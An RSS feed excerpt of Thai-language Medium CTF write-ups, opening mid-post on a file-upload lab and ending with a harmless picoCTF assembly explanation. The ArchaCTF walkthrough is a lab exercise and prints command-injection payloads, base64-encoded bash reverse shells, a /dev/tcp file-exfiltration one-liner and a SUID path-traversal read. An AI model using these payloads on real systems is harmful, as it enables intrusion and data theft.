ได้พบช่องโหว่อะไรบ้าง อย่างแรกเลยคือ File Upload Attacks ซึ่งเป็นหัวใจของ module นี้ ซึ่งการ sanitize ไฟล์ที่เราอัปโหลดได้ไม่ดี filter ได้ไม่ครอบคลุมทำให้สามารถ bypass เพื่ออัปโหลดไฟล์เพื่อทำ RCE ได้ ซึ่งต่อมาจากการอัปโหลดไฟล์คือ XML External Entity Injection ที่ทำให้อ่านไฟล์บนเครื่อง หรือ Internal Network ได้ ซึ่งการอนุญาตให้อัปโหลด .svg ซึ่งไม่ได้ปิดฟีเจอร์ External Entity จึงอ่านไฟล์ upload.php ได้ หลักจากการอัปโหลดไปแล้วยังมี Broken Access Control ซึ่งเป็นช่องโหว่อันดับ top ของ OWASP Top 10 ใน lab นี้ผู้ใช้งานทั่วไปสามารถเข้าไปดูไฟล์ที่อัปโหลดได้ และสิทธิ์ของ user ที่เป็น web app สามารถไปดูไฟล์ที่ root folder ได้ และยังมีช่องโหว่อื่นๆอีก อย่าง Security Misconfiguration ที่สามารถ RCE ที่โฟลเดอร์เก็บรูปภาพ, Stored XSS จากการที่อัปโหลด .svg โดยไม่ sanitize และ Information Disclosure ที่ upload นั้นบอก path ที่เก็บไฟล์รูปภาพไว้</p><p>ขอบคุณทุกคนที่เข้ามาอ่าน ผมหวังว่าจะได้รับความรู้ในการทำ Ethical Hacking หรือการป้องกันช่องโหว่ที่เกิดขึ้น</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c36c467a5455" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ArchaCTF (Machine)]]></title>
            <link>https://medium.com/@pglingfr/archactf-machine-32762dbe8f03?source=rss-e1ae5fe713c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/32762dbe8f03</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Phufar Glingfroy]]></dc:creator>
            <pubDate>Tue, 06 Jan 2026 11:24:35 GMT</pubDate>
            <atom:updated>2026-01-06T17:32:47.689Z</atom:updated>
            <content:encoded><![CDATA[<p>จากทีม อย่าดึงฟ้าต่ำ อย่าทำหินแตก อย่ากระแทกน้องคิม อย่าทิ่มdropctf</p><h3>SKIBIDI SCRIPTER</h3><p>(ปล. ตอนผมเริ่มทำยังไม่มี hint)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*5D45YZPFjMtAKgDMZfuxOw.png" /></figure><p>ในขั้นตอนเริ่มแรกของโจทย์แนวนี้คือการรวบรวมข้อมูล เช่น การหา port, subdomain, path ต่างๆ ผมเริ่มจากการ nmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*3_Lbd8bXBF_stLZ-wcdOlw.png" /></figure><p>เราจะพบว่ามี port 80 ถูกเปิดอยู่คือ port เว็บ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*Sr793dyNuW-c3HvuRP_z-w.png" /></figure><p>จะพบกับหน้าเว็บ portfolio แล้วเมื่อเลื่อนลงไป จะพบกับช่องให้กรอกอีเมลเพื่อรับ resume ของ hacker</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*nktoed99pKjsNO8_5E-DYw.png" /></figure><p>ลองใส่ข้อมูลไรบางอย่างเข้าไป (curl สามารถเอาได้จากหน้า network หลังจากกรอกข้อมูลเข้าไป)</p><pre>curl http://172.18.0.3/api/contact \<br>  -X POST \\<br>  -H &#39;Content-Type: application/json&#39; \<br>  --data-raw &#39;{&quot;email&quot;:&quot;your@email.com&quot;,&quot;message&quot;:&quot;123&quot;}&#39;</pre><p>ลองใช้ curl ยิง payload ต่างๆ เราจะพบว่าสามารถ command injection ได้ โดยใช้ sleep เราจะเห็นว่า response จะถูกหน่วง</p><pre>curl http://172.18.0.3/api/contact \<br>-X POST \<br>-H &#39;Content-Type: application/json&#39; \<br>-d &#39;{&quot;email&quot;:&quot;$(sleep 5)@email.com&quot;, &quot;message&quot;:&quot;123&quot;}&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*mXKJV8Xefj6jmh4vQ_Uyhw.png" /></figure><p>แสดงว่าเราสามารถ execute command ได้ ในเมื่อเป็นโจทย์ machine ผมเลือกจะทำ reverse shell</p><p>โดยการนำ payload ไปเข้า base64 เพื่อป้องกัน syntax error</p><pre>echo &quot;bash -c &#39;bash -i &gt;&amp; /dev/tcp/&lt;ip&gt;/4444 0&gt;&amp;1&#39;&quot; | base64 -w 0</pre><p>แล้วนำ base64 (แต่ละคนจะไม่เหมือนกันตาม ip ที่ encode) ไปใส่ curl</p><pre>curl -X POST http://172.18.0.3/api/contact \<br>     -H &quot;Content-Type: application/json&quot; \  <br>     -d &#39;{&quot;email&quot;: &quot;$(echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjEuMjQvNDQ0NCAwPiYxJwo= | base64 -d | bash)@test.com&quot;}</pre><p>ก่อนจะส่งไปต้องเปิด nc listener เพื่อให้ server ติดต่อกลับมา</p><pre>nc -lvnp 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*LLfAg7DQNkBvv0Ty7vtwZQ.png" /></figure><p>เราจะได้ shell ใน user skibidi หลังจากนั้นก็ตามหา flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*T9-VaBX5FCILinl3L0Ydcg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*T9-VaBX5FCILinl3L0Ydcg.png" /></figure><p>ในส่วนต่อมาให้ทำ privilege escalation แต่เอ๊ะมี .bash_history (history command ที่เคยใช้ไป)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*9wle_SbQ30L1oC9Q5odYMQ.png" /></figure><p>เราจะพบกับรหัสเข้า mysql (hacker คนนี้อาจจะรหัสใช้ซ้ำก็ได้นะ)</p><pre>mysql -u root -pxK9#mP2$vL5@nQ8! -e &quot;CREATE DATABASE archa_c2;&quot;</pre><p>ผมเลยลองเข้าไปที่สิทธิ root โดยใช้รหัสนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/239/1*IkftdY12WTdMpYkhwJMAQQ.png" /></figure><p>เข้าได้เฉย ผมเลยไป /root/ เลยละกัน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/424/1*W9RHLwyGedBJrJZC8h9hqQ.png" /></figure><p>จะเจอ flag และไฟล์ service บางอย่าง archa_svc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/352/1*Mg5EkyDZ6Wvkz7II0bNBsg.png" /></figure><h3>SECRET METHOD</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*W-qG4sg0iJUxbH8AfYLZqA.png" /></figure><p>ในข้อต่อมาอาจจะเป็นไฟล์ archa_svc ที่พูดถึงก็ได้ พบจะลองโหลดไฟล์ลงมาที่เครื่องตัวเอง โดยการรัน ที่เครื่อง server</p><pre>cat /root/archa_svc &gt; /dev/tcp/&lt;ip&gt;/4444</pre><p>และรัน nc listner ที่เครื่องตัวเอง</p><pre>nc -lvnp 4444 &gt; archa_svc</pre><p>เราจะได้ไฟล์ archa_svc ที่เครื่องเรา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*6x-wLFPjhjbbIEwB4wAx7A.png" /></figure><p>เมื่อเราลอง strings ดูเราจะพบ dev.archa.ctf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T8tG4FyY0wD13gilSsZ58A.png" /></figure><p>เอาจริงๆข้อนี้หลังจากได้ไฟล์มาผมซุยมาก มั่วไปเรื่อย แต่จำได้คุ้นๆว่าแก้ hosts ไฟล์ทั้งในเครื่องตัวเอง และเครื่อง server (ไม่แน่ใจว่าใช้วิธีที่ถูกไหม) แล้ว strace</p><pre>strace -f ./archa_svc</pre><p>แล้ว flag หลุดมา (ข้อนี้ซุยจริงๆ จนมันได้) ผมได้ copy output ไว้อยู่บางส่วน</p><pre>write(1, &quot;[DEBUG] ========== Backdoor Conf&quot;..., 53[DEBUG] ========== Backdoor Configuration ==========<br>) = 53<br>write(1, &quot;[DEBUG] Secret Key     : ARCHAb0&quot;..., 44[DEBUG] Secret Key     : ARCHAb0t2026s3cr3t<br>) = 44<br>write(1, &quot;[DEBUG] C2 Host        : archa.c&quot;..., 35[DEBUG] C2 Host        : archa.ctf<br>) = 35<br>write(1, &quot;[DEBUG] C2 Port        : 80\\n&quot;, 28[DEBUG] C2 Port        : 80<br>) = 28<br>write(1, &quot;[DEBUG] Campaign ID    : ARCHA{r&quot;..., 53[DEBUG] Campaign ID    : ARCHA{r4t_c0nf1g_3xtr4ct3d}<br>) = 53<br>write(1, &quot;[DEBUG] Beacon Interval: 30 seco&quot;..., 36[DEBUG] Beacon Interval: 30 seconds<br>) = 36<br>write(1, &quot;[DEBUG] Process Name   : archa_d&quot;..., 38[DEBUG] Process Name   : archa_daemon<br>) = 38<br>write(1, &quot;[DEBUG] ========================&quot;..., 59[DEBUG] ==================================================</pre><p>ซึ่งมี flag และข้อมูลบางอย่างที่อาจเป็นประโยชน์ต่อข้อไป</p><h3>THE MISTAKE OF KING HACKER</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*LPzwa2ydUfVzgEulMc2u-A.png" /></figure><p>ข้อต่อมาเราก็หาข้อมูลเช่นเดิมโดยการ nmap หา port ต่างๆ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*gUsfdNJPXqg6W4oj5L5_9g.png" /></figure><p>เราจะเจอ port เว็บทั้งคู่ หลังจากนั้นผมลอง scan หา path ต่างๆ โดยใช้ dirsearch</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*bxTvbdqTycRcFBoqypCUKg.png" /></figure><p>อันนี้ไปของ port 5000 และของ port 80 ไม่เจออะไร</p><p>เราจะเข้าไป /api/docs ซึ่งจะเป็น docs ของ api</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*HMV289YWgs8GQSnq447hHw.png" /></figure><p>และใน hint จะเจอ X-bot-key header และ Secret Key : ARCHAb0t2026s3cr3 ใน archa_svc</p><p>ในการส่ง request ไปยัง server ที่มี url เป็น panel.archa.ctf เลยไปเพิ่มไฟล์ hosts</p><pre>echo &quot;172.18.0.3 panel.archa.ctf&quot; | sudo tee -a /etc/hosts</pre><p>หรือใช้ text editor แก้ แล้วลอง ping url ดู</p><p>หลังจากนั้นผมจะลอง curl</p><pre>curl -v http://panel.archa.ctf:5000/api/stats \<br>-H &quot;X-Bot-Key: ARCHAb0t2026s3cr3t&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*M-Z4bIBNnMPgQtnP9XpxJA.png" /></figure><p>จะพบว่า bot ใช้ได้ 2 ตัว และ การส่ง command ที่มีการ pending (ต้องอนุมัติ command ไหมนะ)</p><p>ลองส่ง command ไปหา bot ตัวแรก</p><pre>curl -v -X POST http://panel.archa.ctf:5000/api/bots/1/command \                                                                                                                 <br>&gt; -H &quot;Content-type: application/json&quot; \<br>&gt; -H &quot;X-Bot-Key: ARCHAb0t2026s3cr3t&quot; \<br>&gt; -d &#39;{&quot;command&quot;:&quot;id&quot;}&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*Eoh1zbcwMcm9sVVdhnXmZQ.png" /></figure><p>command จะอยู่ใน queue execute จากนั้นผมลองไปดูที่ประวัติ command ของ bot ตัวนั้น (ใช้ jq ให้อ่านง่ายขึ้น)</p><pre>curl http://panel.archa.ctf:5000/api/commands/ARCHA-TEST-0001 \<br>  -H &quot;X-Bot-Key: ARCHAb0t2026s3cr3t&quot; | jq</pre><p>จะพบว่า command ถูก execute แล้ว</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*fsT06uZda9jTT-ANwkA_QA.png" /></figure><p>ได้เวลา reverse shell</p><pre>curl -X POST http://panel.archa.ctf:5000/api/bots/1/command \<br>  -H &quot;X-Bot-Key: ARCHAb0t2026s3cr3t&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;command&quot;: &quot;bash -c \&quot;bash -i &gt;&amp; /dev/tcp/&lt;ip&gt;/4444 0&gt;&amp;1\&quot;&quot;}&#39;</pre><p>อย่าลืมเปิด nc listener</p><pre>nc -lvnp 4444</pre><p>ได้ shell แล้ววววว ไปหา flag ต่อ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*c77Fwv_TJbGecn-enwcKcg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*Lih_hiUAKDo2V7jtBUXQrw.png" /></figure><p>หลังจากนั้นผมไปต่อไม่ถูก พยายามหา process, cronjob ไฟล์ต่างๆ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*aTCQ0DjeL22_x7CkJidy-A.png" /></figure><p>เจอ password ที่ใช้ในการ login เมื่อเข้ามาแล้วจะเจอเครื่องต่างๆ ที่โดน bot ยึด</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*smQ1T5iCV1m2EWc4hscRhQ.png" /></figure><p>ผมลองหา process ต่างๆแล้วใส่ script reverse shell ไป ยกระดับสิทธิ์ไม่ได้เลย <br>ติดอยู่ตรงนี้นานมาก จนไปเจอวิธี SUID Arbitrary File Read</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*HiAQSLoxb969E6yNIbMLUw.png" /></figure><p>เราสามารถไปหา binary ที่สามารถใช้งานได้ใน /usr/local/bin/ แล้วจะพบกับ archa-logs ที่สามารถ execute ในสิทธิ์ root แสดงว่าเข้าถึงไฟล์ใน /root/ ได้<br>เมื่อเราลองใช้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*zsYF3-h0BErEZscfd1sUmg.png" /></figure><p>จะพบว่าใช้อ่าน log file แสดงว่าก็ต้องอ่าน flag ได้ด้วย</p><pre>archa-logs ../../../root/flag.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*FwNyqpWV9riXktdTjBJ_RQ.png" /></figure><p>แล้วเราจะได้ flag ออกมา เย้🎉🎉🎉<br>อาจไม่ได้เขียนละเอียดเท่าไหร่โดยเฉพาะข้อ SECRET METHOD ที่มั่วจนได้ แต่ชอบ Series นี้ที่สุดเลยมาเขียน write up<br>ข้อ THE MISTAKE OF KING HACKER จริงๆ ทำในเวลาแข่งไม่ทัน หาช่องโหว่งยกระดับสิทธิ์ไม่เจอ แต่ติดใจเลยมาทำต่อ ทำเองตั้งนาน แต่มี CEO บอกวิธีให้ <br>(ขอบคุณครับ💗💗💗)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=32762dbe8f03" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[picoCTF asm1 และ asm2]]></title>
            <link>https://medium.com/@pglingfr/picoctf-asm1-%E0%B9%81%E0%B8%A5%E0%B8%B0-asm2-1de58f687a18?source=rss-e1ae5fe713c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/1de58f687a18</guid>
            <dc:creator><![CDATA[Phufar Glingfroy]]></dc:creator>
            <pubDate>Wed, 23 Jul 2025 17:19:13 GMT</pubDate>
            <atom:updated>2025-07-23T17:19:13.916Z</atom:updated>
            <content:encoded><![CDATA[<p>สวัสดีครับ นี่เป็นครั้งแรกที่ผมได้ลองเขียน write-up ctf ผมได้เลือกเป็นโจทย์<br>(พึ่งเริ่มทำความเข้าใจ assembly และลองหัดเขียน write-up)<br>picoCTF ข้อ asm1 และ asm2</p><h4>asm1</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RGqrmeujlCmC50PbUH5BrQ.png" /></figure><p>โดยโจทย์ข้อนี้จะให้โค้ดของ assembly ของ function asm1 แล้วให้ input 0x6fa เข้าไปแล้วหาค่าที่ function return กลับมา</p><pre>asm1:<br> &lt;+0&gt;: push   ebp<br> &lt;+1&gt;: mov    ebp,esp<br> &lt;+3&gt;: cmp    DWORD PTR [ebp+0x8],0x3a2<br> &lt;+10&gt;: jg     0x512 &lt;asm1+37&gt;<br> &lt;+12&gt;: cmp    DWORD PTR [ebp+0x8],0x358<br> &lt;+19&gt;: jne    0x50a &lt;asm1+29&gt;<br> &lt;+21&gt;: mov    eax,DWORD PTR [ebp+0x8]<br> &lt;+24&gt;: add    eax,0x12<br> &lt;+27&gt;: jmp    0x529 &lt;asm1+60&gt;<br> &lt;+29&gt;: mov    eax,DWORD PTR [ebp+0x8]<br> &lt;+32&gt;: sub    eax,0x12<br> &lt;+35&gt;: jmp    0x529 &lt;asm1+60&gt;<br> &lt;+37&gt;: cmp    DWORD PTR [ebp+0x8],0x6fa<br> &lt;+44&gt;: jne    0x523 &lt;asm1+54&gt;<br> &lt;+46&gt;: mov    eax,DWORD PTR [ebp+0x8]<br> &lt;+49&gt;: sub    eax,0x12<br> &lt;+52&gt;: jmp    0x529 &lt;asm1+60&gt;<br> &lt;+54&gt;: mov    eax,DWORD PTR [ebp+0x8]<br> &lt;+57&gt;: add    eax,0x12<br> &lt;+60&gt;: pop    ebp<br> &lt;+61&gt;: ret</pre><p>เราจะมาค่อยๆแกะ code กัน</p><pre>&lt;+3&gt;: cmp    DWORD PTR [ebp+0x8],0x3a2<br>&lt;+10&gt;: jg     0x512 &lt;asm1+37&gt;</pre><p>ในส่วนแรก คือนำ arg (input ที่เข้ามา) ไปเปรียบเทียบกับ 0x3a2 ถ้ามากกว่าให้จัมพ์ไปที่ &lt;+37&gt;</p><pre>&lt;+12&gt;: cmp    DWORD PTR [ebp+0x8],0x358<br>&lt;+19&gt;: jne    0x50a &lt;asm1+29&gt;</pre><p>ในส่วนต่อมา คือการนำ arg ไปเทียบกับ 0x358 ถ้าไม่เท่ากันให้จัมพ์ไปที่ &lt;+29&gt;</p><pre>&lt;+21&gt;: mov    eax,DWORD PTR [ebp+0x8]<br>&lt;+24&gt;: add    eax,0x12<br>&lt;+27&gt;: jmp    0x529 &lt;asm1+60&gt;</pre><p>นำค่า arg ไปเก็บที่ register eax แล้วบวกด้วย 0x12 หลังจากนั้นจัมพ์ไปยัง &lt;+60&gt;</p><pre>&lt;+32&gt;: sub    eax,0x12<br>&lt;+35&gt;: jmp    0x529 &lt;asm1+60&gt;</pre><p>นำค่าที่ register ลบกับ 0x12 แล้วจัมพ์ไปที่ &lt;+60&gt;</p><pre>&lt;+37&gt;: cmp    DWORD PTR [ebp+0x8],0x6fa<br>&lt;+44&gt;: jne    0x523 &lt;asm1+54&gt;</pre><p>นำค่า arg ไปเทียบกับ 0x6fa หากไม่เท่ากัน จัมพ์ไปยัง &lt;+54&gt;</p><pre> &lt;+60&gt;: pop    ebp<br> &lt;+61&gt;: ret</pre><p>เป็นการ return ค่าของฟังก์ชัน</p><p>ถ้าเรานำ 0x6fa input ไปยัง function asm1</p><pre>&lt;+3&gt;: cmp    DWORD PTR [ebp+0x8],0x3a2<br>&lt;+10&gt;: jg     0x512 &lt;asm1+37&gt;</pre><p>จะนำ 0x6fa เทียบกับ 0x3a2 ซึ่ง 0x6fa &gt; 0x3a2 แล้วจัมพ์ไปยัง &lt;+37&gt;</p><pre>&lt;+37&gt;: cmp    DWORD PTR [ebp+0x8],0x6fa<br>&lt;+44&gt;: jne    0x523 &lt;asm1+54&gt;</pre><p>ในส่วนต่อมาที่ &lt;+37&gt; จะทำการเปรียบเทียบ 0x6fa กับ 0x6fa ซึ่งเป็นค่าเดียวกันจะไม่ทำการจัมพ์</p><pre>&lt;+46&gt;: mov    eax,DWORD PTR [ebp+0x8]<br>&lt;+49&gt;: sub    eax,0x12<br>&lt;+52&gt;: jmp    0x529 &lt;asm1+60&gt;</pre><p>นำค่าของ 0x6fa ไปเก็บไว้ที่ register eaxe จากนั้นนำมาลบด้วย 0x12 จะมีค่าเท่ากับ 0x6e8 จากนั้นจะจัมพ์ไปที่ &lt;+60&gt; ซึ่งเป็นส่วนของการ return ค่า function นั้นคือ function จะ return 0x6e8 ออกมา นั่นคือคำตอบของข้อนี้</p><p>หากเรานำโค้ดไปแปลงเป็นภาษา C จะได้ดังนี้</p><pre>int asm(int arg){<br>  if (arg &gt; 0x3a2){<br>    if (arg != 0x6fa){<br>      arg += 0x12;<br>    }else{<br>      arg -= 0x12<br>    }<br>  }<br>  else if (arg != 0x358){<br>    arg -= 0x12;<br>  }<br>  else{<br>    arg += 0x12;<br>  }<br>  return arg;<br>}</pre><h4>asm2</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B5FpdjUaeFtBEF6yRkfokQ.png" /></figure><p>โดยข้อนี้ทำเช่นกันกับ asm1 แต่จะมีการรับ input สองตัวได้แก่ 0xb และ 0x2e</p><pre>&lt;+0&gt;: push   ebp<br>&lt;+1&gt;: mov    ebp,esp<br>&lt;+3&gt;: sub    esp,0x10<br>&lt;+6&gt;: mov    eax,DWORD PTR [ebp+0xc]<br>&lt;+9&gt;: mov    DWORD PTR [ebp-0x4],eax<br>&lt;+12&gt;: mov    eax,DWORD PTR [ebp+0x8]<br>&lt;+15&gt;: mov    DWORD PTR [ebp-0x8],eax<br>&lt;+18&gt;: jmp    0x509 &lt;asm2+28&gt;<br>&lt;+20&gt;: add    DWORD PTR [ebp-0x4],0x1<br>&lt;+24&gt;: sub    DWORD PTR [ebp-0x8],0xffffff80<br>&lt;+28&gt;: cmp    DWORD PTR [ebp-0x8],0x63f3<br>&lt;+35&gt;: jle    0x501 &lt;asm2+20&gt;<br>&lt;+37&gt;: mov    eax,DWORD PTR [ebp-0x4]<br>&lt;+40&gt;: leave<br>&lt;+41&gt;: ret</pre><p>ในข้อนี้จะมีในเรื่องของการ assign ตัวแปรที่รับเข้ามาให้ถูกที่ โดยผมจะให้ตัวแรกคือ a และตัวที่สองคือ b asm2(a, b)</p><pre>&lt;+6&gt;: mov    eax,DWORD PTR [ebp+0xc]<br>&lt;+9&gt;: mov    DWORD PTR [ebp-0x4],eax</pre><p>การให้ค่าของที่ ebp+0xc ที่ ebp-0x4 (local variable)</p><pre>&lt;+12&gt;: mov    eax,DWORD PTR [ebp+0x8]<br>&lt;+15&gt;: mov    DWORD PTR [ebp-0x8],eax</pre><p>ให้ค่า ebp+0x8 ที่ ebp-0x8 ซึ่งค่าของ ebp+0x8 คือ a จาก asm2(a, b) และ ebp+0xc คือ b ตามลำดับ หลังจากการให้ของ ebp-0x4 และ ebp-0x8 นั่นคือ ebp-0x8 คือ a และ ebp-0x4 คือ b</p><pre>&lt;+18&gt;: jmp    0x509 &lt;asm2+28&gt;</pre><p>หลังจากนั้นจัมพ์ไปยัง &lt;+28&gt;</p><pre>&lt;+20&gt;: add    DWORD PTR [ebp-0x4],0x1<br>&lt;+24&gt;: sub    DWORD PTR [ebp-0x8],0xffffff8</pre><p>นำ b บวกกับ 0x1<br>และ นำ a ไปลบกับ 0xffffff80 แต่ 0xffffff80 เป็น 2’s compliment<br>0xffffff80 คือ -0x80 นั่นหมายความว่า a ลบกับ -0x80 หรือ a บวกกับ 0x80</p><pre>&lt;+28&gt;: cmp    DWORD PTR [ebp-0x8],0x63f3<br>&lt;+35&gt;: jle    0x501 &lt;asm2+20&gt;</pre><p>ถ้าค่าของ a น้อยกว่าเท่ากับ 0x63f3 จะทำการจัมพ์ไปยัง &lt;+20&gt; จากที่จัมพ์ไปยัง offset ที่อยู่ก่อนหน้านั่นเปรียบเสมือนการทำ while loop คือการบวก a และ b ไปเรื่อยๆจนกว่า a จะมากกว่า 0x63f3</p><pre>&lt;+37&gt;: mov    eax,DWORD PTR [ebp-0x4]<br>&lt;+40&gt;: leave<br>&lt;+41&gt;: ret</pre><p>นำค่าของ ebp-0x4 หรือ b ไป assign ที่ register eax และทำการ return ค่า นั่นคือฟังก์ชันนี้ทำการ return ค่าของ b</p><p>ถ้านำค่าของ 0xb และ 0x2e ไปใส่ในฟังก์ชัน asm2 ฟังก์ชันจะทำการบวกค่าของ 0x2e ที่ละ 0x1 และ บวกค่า 0xb ด้วย 0x80 ไปเรื่อยๆ จนกว่าจะหลุดเงื่อนไข น้อยกว่าเท่ากับ 0x63f3 แล้วจะ return ค่า 0xf6 ซึ่งมาจาก 0x2e ที่บวก 0x1 ไปเรื่อยๆ ซึ่งคำตอบคือ 0xf6</p><p>นำ code ของ assembly แปลงเป็น C</p><pre>int asm2(int a, int b){<br>  while(a &lt;= 0x63f3){<br>    b += 0x1;<br>    a += 0x80;<br>  }<br>  return b;<br>}</pre><p>(นี่เป็นลองเขียน write-up ครั้งแรกของผม หากผิดพลาดตรงไหน ขอโต๊ดคับ)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1de58f687a18" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>